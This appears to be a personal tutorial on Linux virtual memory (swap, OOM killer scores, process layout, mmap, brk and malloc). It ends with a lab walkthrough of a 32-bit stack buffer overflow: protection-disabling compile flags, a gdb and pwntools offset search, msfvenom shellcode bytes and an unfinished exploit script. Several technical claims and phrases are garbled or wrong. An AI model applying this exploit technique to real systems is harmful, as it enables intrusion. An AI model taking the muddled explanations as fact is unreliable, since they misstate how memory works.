Virtual Memory and Process Space
when allocating a memory space, the allocation does not go directly to the ram, instead it's handled by the kernel.
now we'll jump to virtual memory,
this is the big picture, but we'll detail it, step by step. here is another visualization .
when allocating a memory space, the allocation does not go directly to the ram, instead it's handled by the kernel that give you a "fake" ram space, the processes use it with a limit of 256TB = 2pow(64), even if your physical ram is 4GB, the processes sees it as a normal ram space, but it's not a space or a buffer, it's a range from adress x to y, maped in a table page_table to a pysical ram adress, then the process use it want to write to it, that when that virtual ram space should have a physical ram space mapped to it . the cpu try to write data to that ram space, if it's new allocated, first use the vma is not mapped yet to pma, cpy try to write, trigger the mmu, the mmu gets the va (virtual adress) . find no mapping . raise a page fault, the error is catched by the kernel, the kernel then allocates the equivalent space in physical ram, if there is no space it moves unused pages to /swap, a fs directory in disk not ram, created in fs creation and can be shrinked or extended after, anyway the kernel moves that ram data to /swap, now if there is free space to allocate the needed space, the kernel allocate it, maps the pa to va in a mmu buffer called TLB (translation lookaside buffer), if there is no physical ram space the kernel checks /swap if spaw + free ram space can contain the needed space, the kernel load data to ram, and start swapping the pages even if it's the same processes, but this operation it too slow because disk is involved and the responsible swapping process is kernel swap deamon KSWAPD?. just to know why some processes are called deamon while other no, running a code it's processes will not be a deamon, deamon process are the background processes, processes that are not the application operation processes, but like a metaprocesses, and called deamon because they are invisible thats why. a question here is how the kernel decide which pages to move to /swap ? it's the LRU (least recently used) and MGLRU (multi generation least recently used), the idea is beautifull, in order to know wich page are accessed recently and which is havn't been used for long ago, maintaining a timestamp is an exhausting approach like each time access the page assign the timestamp, and the kernel should order by timestamps, cpus do billion of operation on pages in a second, for old kernels, it had two lists, recently used, not used for too long, but this is not an efficient way. the two lost are stored in LRU, the scan is performed on all the pages, this is a scaling probleme. latest kernels, for each processe along with present bit, there is accessed bit when accessing that page set that bit to 1. and the kernel check those bit once per a moment . if a process has an upper bit it s recently used, and it knows it, because after comparing it set all the processes access bit to 0, so if a process has an upper bit then it was recently used and stored in MGLRU, which group pages into generations, from 0 to N, the highed the group means recenly used, so scan is performed on the generation (group) not on all the pages. and the swap operations are like this :
need page a -> move page b to swap.
load page a from swap -> store in physical ram and map it to virtual ram.
need page a -> move page b to swap
load page a from swap -> store in physical ram and map it to virtual rambut how does it know if the page is loaded in ram or swap ? in the page entry in struct page there is bits flag, between it there is present bit, the physical adress is mapped to a virtual adress. the mmu check the entry finds present bit = 0, raise a page fault, kernel catch it load the page from swap to ram. and move unused ram page to swap . present bit = 1, the mmu complete the operation normally .
what if the ram and the swap both are filled ? here depens on the os, windows application may fails to run (allocate memory), programs may crash and warnings that the ram is full . while linux trigger an out of momery killer (oom), that kills one or more processes to free space .
and the struct page_table is not a shared table across all os processes, each processes has it's own page table, maps virtual adress to physical adress, thats why two processes can have same virtual memory adress . but points to differente physical adress .
and the oom killer does not kill a random process, it kill the one that it thinks is applying pressure on the ram, but how does it do it ? with a score algorithm where all processes are evaluated, with it s space using resident set size, number of child processes, and adjustement . wait what adjustement means ? all processes adjusment is stored in the /proc/<pid>/oom_score_adj, that adjustement is computed based on several things, but it s not the processes that takes much or less space that will be killed . but it's important of that processes . a ll run it on my machine .
so i m writting this on zettlr, zotero also for sources and brave to read and studie those sources . we ll use pgrep which is process grep, it a tool that walk trough or scan the os processes starting from systemd, and processes stores pretty much metadata, we can grep it just from it's name .
~ $ pgrep brave
6999
7007
...here i m opening more than one windows with more than one tabs in each one .
~ $ pgrep zotero
8127
8130those are zotero processes .
~ $ pgrep zettlr
~ $ pgrep Zettlr
7758
7767
...note here that names are case sensitive . those are zettlr processes .
we'll choose one process for each application and inspect it's adjustement . not that adjusment range is from -1000 to 1000, te higher the adjustment the more likely to be killed .
~ $ cat /proc/6999/oom_score_adj
100
~ $ cat /proc/8127/oom_score_adj
100
~ $ cat /proc/8130/oom_score_adj
100
~ $ cat /proc/7758/oom_score_adj
100
~ $ cat /proc/7767/oom_score_adj
100why they all have same adjustement ?
~ $ cat /proc/7767/oom_score
734
~ $ cat /proc/7758/oom_score
736
~ $ cat /proc/8130/oom_score
741
~ $ cat /proc/8127/oom_score
733
~ $ cat /proc/6999/oom_score
733
~ $while scores are slightly differente, and whats the difference between score and adjustement score ? firs all have same adjusment because it inherit the adjustment from the parent processes, if adjutment is not modified by the application, the adjusment is same, but not for all processes, those are application layer prosseses, killing one of those won't affect nothing. thats why adjusment is relativly high . and oom_score is the calculated score of likelihood killing, it s the score algorithm output, that why it may have different or same oom_score, while adjustment is the importance of that processes, specified by the application itself, like a database is an important processes it adj will be lower. we'll see .
~ $ sudo systemd enable postgres
[sudo] password for donaldbuffer:
~ $ pgrep postgresql
~ $ pgrep postgres
1949
1971
1972
1973
1974
1975
2021
2022
2023
~ $ cat /proc/1971/oom_score_adj
0
~ $ cat /proc/2023/oom_score_adj
0the adjustement here is 0. much likely to be killed than the application layer's processes .
so here we have flexibility. example we are running applications heavy ones, in a limited ram and swap, important application, we ll modify it's oom_score_adj, setting it to a lower score, when oom killer triggred it will ignore our processes . i ll modify zettlr process one of them .
~ $ pgrep Zettlr
7758
7767
7769
7771
7884
7911
7965
8102
~ $ cat /proc/7758/oom_score_adj
100
~ $ nano /proc/7758/oom_score_adj
~ $ sudo nano /proc/7758/oom_score_adj
[sudo] password for donaldbuffer:
~ $ nano /proc/7758/oom_score_adj
~ $ cat /proc/7758/oom_score_adj
-100
~ $ can be modified but need sudo privilages . now when an oom killer triggred it will kill application layer processes but the less likely one of them to be killed, is 7758 .
we'll cover more on what concern memory management from userspace perspective, more precise studying the memory from applications and program perspective. a higher level . then going with the kernel perspective .
a visualization of the virtual memory, not that this mapping is not in the physical hardware, its the memory created by the kernel, which stores in physical, the mapping is like this :
first it's already mentionned that the virtual memory size is 256TB, so it's divided into two equal parts . a 128TB for kernel space, 128TB for userspace .
Highadress 256TB|----------kernel space (128TB)---------------
| which is not accessible by the userspace (programs, applications ...)
| we'll cover it later .
| ---------userspace (128TB)-------------------
| stack that grows downward
|
| memory mapping region
| (mmap and shared librarys)
|
| heap that grows upward
|
| bss (block started by simbol): unintialized data (vars, funcs, ...)
|
| data (initialized data)
|
| text (code) read-only
Low adress 0x0 | ----------------------------------------------the five section are highly related but each one serve a different purpose.
.text section is the space that the machine code is stored. not source c or assembly code, but the binary executable code . the compiled file .
.bss and .data both stores variable global / local / static, but bss stored the uninitialized variables, variable that are declared without a value, random value variables int a;, while .data stores the initialized variable that a value is assigned to it, in compiling time int b = 10; .
.heap contain the runtime allocated buffers, malloc() and it's equivalents, means the variables that are not declared in the compiling time or int the source code .
.stack is for the execution function and variables, and function are instructures not like variables but a function is a set of instructions performed on variables . execute -> move to stack set and save registers -> finish -> return adress -> save and set registers -> destroy variable . note after executing is set then save, after finish is save then set. we'll cover it later .
then the memory map region which act like heap but each one excel in different objectifs, the heap is for buffers or space that owned by it's process and used for general purpose . normal uses .
while the memory map region is for buffers or space, that are used for operation syscalls . memory mapping or shared memory between processes, example opening and reading variables in general you have full control over that buffer . using heap :
rep_fd = open("report.txt", r);
read(rep_fd);
close(rep_fd);the kernel creates a file descriptor along with some structures, contain metadata file, already understanding it, the read function, make the kernel retrieve data from storage to it's page cache also already covered, then the kernel copy the page cache content into the heap buffer, then the program can read the file content . no permission on the buffer set, the process own the buffer no mapping except the virtual ro physical memory mapping . using mmap :
rep_fd = open("report.txt", r);
mmap(
NULL, // gives you ability to specifie the ram adress to allocate
file_size, // file size should be specified usually gotten using another function
PROT_READ, // permission over the allocated space, read, write ...
MAP_SHARED, // is the buffer private, anonymous, shared ..., variable stat
rep_fd, // file's file descriptor
0 // the offset, 0 means the beginning of the buffer allocated .
);anonymous buffer is a buffer normal notnacked or mapped to anything . passing MAT_ANON arg should pass fd = -1, backed by no file descriptor .
how all of this works, giving a code that open a file, edits it ?
int fd = open("file.txt", wr); // creating metadata, fd and other structures .
size_t file_size = 1000;
// memory map region
void* file = mmap(NULL, file_size, PROT_WRITE, MAP_PRIVATE, fd, 0); // load file content to kernel virtual ram, map it to userspace virtual ram . returns the starting adress .
void* edited_file = edit(file);
msync(fd, file_size, MS_SYNC); // commit the changes, ensure changes are applied .
// heap
char* buffer = malloc(file_size);
ssize_t bytes = read(fd, buffer, file_size); // return value is how many bytes were read .
free(buffer);
munmap(fd, size); // remove the mapping . equivalent to free() in heap
close(fd);we already know that int fd is an index of the file in file descriptor table, it's the only variable that is stored in userspace memory, while the fd, structure created such as struct entry are stored in kernel space memory . and depens on how is declared and allocate, uses of malloc for fd is possible .
int fd; // .bss
int fd = open(...); // .data
int fd = malloc(sizeof(int)); // .heapmmap() function, allocate file_size in mapped memory region, set permission PROT_WRITE, set the stat MAP_PRIVATE, file's file descriptor index, 0 as offset .
what happend here is that file content was loaded from disk to kernel virtual ram update: the kernel does not immeditly load file content, we already mentionned it, 'lazy loading' the map is created yes, but when accessing is the page fault occure catched the load the content to physical ram map to virtual ram, then mapped to userspace virtual ram, not copied .edit() the function is a set of instruction stored in .text, variable inside the function which .text instructures will be performed on it are stores inside .bss, .data maybe .heap, we'll assume that there is no dynamic allocation, when the edit() first instruction is the next to execute edit() variables is stored in .stack, register such as rip rdp rdx cs ... are first setted, treated based on the instruction, return a pointer to the next instruction after function call, which in or case msync() then saved usually in rdx then save in ram the variable specified in code and set register for next instruction .msync() editing the file means the cache page in kernel ram are modified, market as dirty, dirty means modified in ram but not in disk file . msync() tells the kernel to write dirty pages into disk .malloc() allocating a normal buffer in the heap . size of the file .
read() the file is already openned, read copies the data file content stores in the kernel virtual adress to the allocated buffer in heap . the return is how many bytes the file contain from 0 to EOF .
free() destroy the buffer make the space free .
munmap() destroy the mapping .close() to close the fd, but structure remain in kernel memory .
moving to userspace heap memory management . understanding brk() / sbrk(): the syscalls behind the heap .
first brk() stand for break, sbrk() stand for set break, break is the high adress in heap, the ending adress . like the wall that separate heap from the other sections . a visualization :
virtual memory before any brk() or sbrk()
High Adress |-------------------------------------------|
| **kernel space** |
|-------------------------------------------|
| stack (growing downward) |
|-------------------------------------------|
| memory mapped region (mmap) |
|-------------------------------------------|
| unused virtual space |
|------------program break------------------| <- heap ends at this adress
| heap (growing upward) |
|-------------------------------------------|
| bss (uninitialized data) |
|-------------------------------------------|
| data (initialized data) |
|-------------------------------------------|
| read-only memory |
|-------------------------------------------|
| text (code section) |
low adress |-------------------------------------------|program break is the last adress in heap, in order for heap to grow this adress should be setted to a higher one, to shrink it should be setted to a lower one . and that what brk() does , and returns 0 succes or -1 failure, the argument is the new adress program break .
int direction = 1.
void *new_break = (direction == 1) ? (void *)0x2000000 : (void *)-0x2000000;
int break_ = brk(new_break); // note: adress not value
if (break_ == 0)
printf("program break is setted to : %d", (int)*new_break);while sbrk() is a function build on top of brk(), and take offset as an argument, how much to increase or decrease the program break .
int direction = -1;
int offset = (direction == 1) ? 4096 : -4096 ;
int program_break = sbrk(offset);wait. if sbrk is built on top how does sbrk() know the program break to increase or decrease from it ?
simply the kernel for each process virtual ram structure struct mm_struct, stores the it's program break along with other metadata . and sbrk take it as an index . sbrk(offset) calls brk(mm_struct->brk + offset); update: the brk we r talking about here is not the high brk program, but it's the internal glibc api implementation it's a syscall function .
and the brk or sbrk shrink or expand the program break and use the allocated area only on virtual ram, physical ram is not yet involved, when trying access the page fault raises by the mmu then kernel allocate physical ram .
int *buffer = (int *)sbrk(4096); // expand on virtual memory only
// return new program break
buffer[5] = 'A' // trying to acces physical ram
// raise page fault
// allocate physical ram and map it to virtual ram
// then write .the question here is why brk() cannot return the new program break adress ?
it could returns it but the api earlier designed to return failure/success flags, it can be changed but it will break all the implementations, programs that rely on the old brk() return . so sbrk() was added to prevent this .
the api we r talking about is glibc, that makes the syscalls, syscall is anything that trigger the kernel to do something . so the developper wont need to write assembly code that do the syscall .
now we'll discover how malloc() works .
the malloc() function in program level is far more simple that the glibc implementation because the glibc implementation handle multiple process allocation in the physical ram, while allocating with the higher level malloc() is allocating in the virtual ram space of that process , because when allocating it does not move the program break and add space or shrink decrease space, instead, it recycle the freed space the unused . by maintaining a free_space list that when free() a space it goes to that list. and when allocating it take from that list . and the list is a double chained list (list doublement chainée), when each entry or element each free block point to the next free block and the previous free block . and the entry is like this :
|---------------------------|
| prev_size 8B |
|---------------------------|
| prev_size + flags 8B |
|---------------------------|
| if free : |
| prev_free_element |
| next_free_elemnt |
| if used : |
| the process |
| userspace data |
|---------------------------|so the metadata take much space . a malloc(1), can take up to 64bytes of metadata, that why free() is required . and there are three options in allocation .
allocate first fit -> low cpu usage & memory wasting
allocate best fit -> high cpu usage & best memory management
allocate worst fit -> high cpu usafe & memory wasting
// and first fit may sometimes be worst fit .
merging and splitting blocks -> high cpu usage & high efficiencyeach section has it's permissions or protection for example the heap is normally PROT_READ | PROT_WRITE, shouldn't execute code for security reason the famous example is buffer overflow exploit, however those security measures can be bypassed, we'll see an example of buffer overflow, but first specifing each section and it's permissions :
stack -> read + write : can't modify stack in runtime . 'PROT_READ | PROT_WRITE'
mmap() -> flexible, can do the three operation, and give ability for more options .
'PROT_READ | PROT_WRITE | PROT_EXEC' .
heap -> read + write , normally should'nt execute . 'PROT_READ | PROT_WRITE'
.bss -> read + write , also no execute . 'PROT_READ | PROT_WRITE'
.data -> read + write , no execute . 'PROT_READ | PROT_WRITE'
.text -> read + execute . 'PROT_READ | PROT_EXEC'stack & .bss & .data size are specified before execution, and their like destiny is known before execution can't be modified like heap, means modifie by the program in runtime, it's the process that handle the read & write, based on the .text instructions , .bss and .data variables .
so .text is the intruction, not C code but the assembly code . so the process get instruction from .text get data from .bss & .data, pass to cpu the instruction and point to where the result should be stored . so executable means that the data in that section can be passed as instrucion, not executing in the ram space . and mmap region can do all of what the section can do .
an example of a buffer overflow expoit . first what is a bufferoverflow ? and how to exploit it ? a buffer overflow is an exceding of the size the buffer allocate, buffer[50] held a 58 bytes, the 8 extra bytes makes it oveflow . and why would it be exceeding that allocated buffer ? simply a non safe function that read input and write or a function that copy from code to ram makes it, it doesn't verifie or compare the size of the input to the allocated space . for modern code those function are not used anymore for safey reasong, while the glibc still provide it, for old programs that depens on it . if it's removed the kernel it self maybe corrupted . that why new safe and secured functions are created . however, modern kernel have tools that prevents the overflow even if the function does not check, those tool are triggred in every memory copy . for this test i won't be using my env the host , instead i ll use a vm lab . we'll be using GDB which is a linux debugger tool, shows all the low-level stuff about a program . and turn off safety tool like canary and ASLR which stand for adress space layout randomize make it harder to know vars and funcs adresses . if ASLR is disabled, adresses are the same in each run while if enabled the adresses change in each run makes it non predictable . our code is :
vulnerable.c
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv) { // arguments passed to main , in compile time .
char buffer[500]; // even it's uninitilized but it's a local var lives in .stack.
strcpy(buffer, argv[1]); // unsafe function that will put data to ram .
return 0;
}disabling safety tools .
setarch "$(uname -m)" -R vulnerable.c // this disable ASLR only on this file .
// canarie is disabled in compile time .a simple code that does nothing except allocating a buffer and copy data to it and return . and strcpy() trigger a syscall so kernel is involved here .
but first a visualization of the memory :
|-------------------------------------------|
| stack (growing downward) | <- buffer live here
|-------------------------------------------| it's a function scope var
| arg a | a local variable
|-------------------------------------------|
| arg b |
|-------------------------------------------|
| return adress | <- not next instruction but
|-------------------------------------------| a pointer to nxt .text instrct
| bn also explain each of the Python erase pointer |
|-------------------------------------------|
| buffer |
|------------program break------------------|
| heap (growing upward) |
|-------------------------------------------|so we should exceed the buffer size, override the base pointer with whatever data, it's irrelevent . then override return adress to point the function we want .
full stack overflow exploitation .#
a reminder that the stack i rw, the .text that contain instruction that is read only and execute rx .
firs the vulnerable c function :
void vulnerable(char *input) {
char buffer[64];
printf("buffer is at : %p\n", buffer);
strcpy(buffer, input);
}here we allocate a 64 bytes stack buffer, print it's adress, then strcpy(), which is an unsafe function it don't care about the source buffer length, instead it keeps copying till hits an EOF
the whole enviroment is 32bits x86, and the reason is that 64bits adresses contain null bytes, that makes the execution ignore it . while x86 adresses doesn't contain it .
make sure that the adressr andomize is disabled .
$ cat /proc/sys/kernel/randomize_va_space
0compiling it with 32bits flag, disable stack protectors such as canarie, flaging to make the stack executable, disabling the ASLR that makes each run use different adresses, and specifying it in the compilation .
$ gcc -m32 \ // 32bits architecture
-fno-stack-protector \ // disable canaie
-z execstack \ // make stack executable
-no-pie \ // all runs use same adresses
-Wl \ // commit those options
-o vuln vulnerable.c // output vuln binary executable from vul..c with the option abovethen we use the GDB, gnu debugger, to get infos from the executable file, closer to reverse engineer it .
GNU gdb (Ubuntu 17.1-2ubuntu1) 17.1
...
(gdb) run $(python3 -c "from pwn import *; import sys; sys.stdout.buffer.write(cyclic(200))")
buffer is at : 0xffffcd90
Program received signal SIGSEGV, Segmentation fault.
0x61616174 in ?? ()
(gdb) info registers eip
eip 0x61616174 0x61616174
(gdb) quitthe trick to find the offset , we start a pwn session, each function is related to other, then we generate a 200bytes buffer with cyclic(), a function that generate a sequece of bytes, each 4 bytes are unique, then we have eip register, index pointer tat hold the memory adress for the next instruction, we override it with a unique bytes, then the cpu try to execute the overrided value like aTaa, we inspect the register, find that the register try to execute aTaa,
$ python3 -c "from pwn import *; print(cyclic_find(0x61616174))"
76then we search where the aTaa is located, in the cyclic generated buffer, then we calculate from the start of the buffer till the aTaa this is our offetset 76.
msfvenom which is part of metasploit project, used to generate payloads, support many platforms. but is not veery efficient, however for microexploits and learning purposes it give a simple and flexible uses .
payload command generation is :
$ msfvenom -p linux/x86/exec CMD=/bin/zsh -b '\x00\x0a\x0b' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 71 (iteration=0)
x86/shikata_ga_nai chosen with final size 71
Payload size: 71 bytes
Final size of python file: 361 bytes
buf = b""
buf += b"\xb8\x92\x41\x8a\xd9\xdd\xc4\xd9\x74\x24\xf4\x5d"
buf += b"\x31\xc9\xb1\x0c\x31\x45\x12\x03\x45\x12\x83\x57"
buf += b"\x45\x68\x2c\x3d\x4d\x34\x56\x93\x37\xac\x45\x70"
buf += b"\x31\xcb\xfe\x59\x32\x7c\xff\xcd\x9b\x1e\x96\x63"
buf += b"\x6d\x3d\x3a\x93\x64\xc2\xbb\x63\x58\xa0\xd2\x0d"
buf += b"\x89\x5e\x56\xb9\xd5\xc9\xcb\xb0\x37\x38\x6b"here we imported the pwntools library, mainly used in developping exploitations, reverse engineering.
defining the architecture 32bits, and the os which linux .
from pwn import *
context.arch = 'i386'
context.os = 'linux'buf is the payload . we copy it the python exploiter, a script that makes it easier than a sequence of bash commands . along with the offset found using pwn cyclic .
shellcode = b"..."
offset = 76here we define a nop_sled a sequence of \x90 bytes, that tell the cpu to move to ignore and move the next byte. we keep moving from the start of the buffer till the shellcode . then concatenate the two .
nop_sled = b'\x90' * 4
buf = nop_sled + shellcode dummy_len = len(buf) + offset + 4
dummy = b'A' * dummy_len